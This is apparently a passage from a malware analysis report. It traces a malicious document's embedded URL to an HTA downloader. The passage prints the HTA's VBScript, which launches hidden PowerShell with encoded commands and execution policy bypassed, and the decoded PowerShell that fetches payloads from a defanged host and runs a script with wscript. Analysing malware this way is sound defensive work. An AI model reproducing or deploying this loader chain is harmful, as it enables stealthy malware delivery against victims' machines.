The URL used can be found in the embedded OLE object:hxxp://old[.]jrchina[.]com/btob_asiana/udel_calcel.php?fdid=[base64_data]Here is the source code of the downloaded HTA document:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta content="text/html; charset=utf-8" http-equiv="Content-Type" /><title>Bonjour</title><script language="VBScript">Set owFrClN0giJ = CreateObject("Wscript.Shell")Set v1ymUkaljYF = CreateObject("Scripting.FileSystemObject")If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings("%PSModulePath%") + "..\powershell.exe") ThenowFrClN0giJ.Run "powershell -nop -windowstyle hidden -executionpolicy bypass -encodedcommand JABjAD0AbgBlAHcALQBvA[...redacted...]H0AIAA=" ,0owFrClN0giJ.Run "cmd /c echo hta>%tmp%\webbrowser1094826604.tmp", 0End IfSelf.Close</script><hta:applicationid="oHTA"applicationname="Bonjour"application="yes"></head></html>Once decoded using the base64 algorithm, we are able to read the final payload:$c=new-object System.Net.WebClient$t =$env:temp$t1=$t+"\\alitmp0131.jpg"$t2=$t+"\\alitmp0132.jpg"$t3=$t+"\\alitmp0133.js"try  {    echo $c.DownloadFile( "hxxp://old[.]jrchina[.]com/btob_asiana/appach01.jpg",$t1)    $c.DownloadFile( "hxxp://old[.]jrchina[.]com/btob_asiana/appach02.jpg",$t2)    $c.DownloadFile( "hxxp://old[.]jrchina[.]com/btob_asiana/udel_ok.ipp",$t3)    wscript.exe $t3  }catch  {   }The purpose of this script is to download and execute a Windows script and two encoded payloads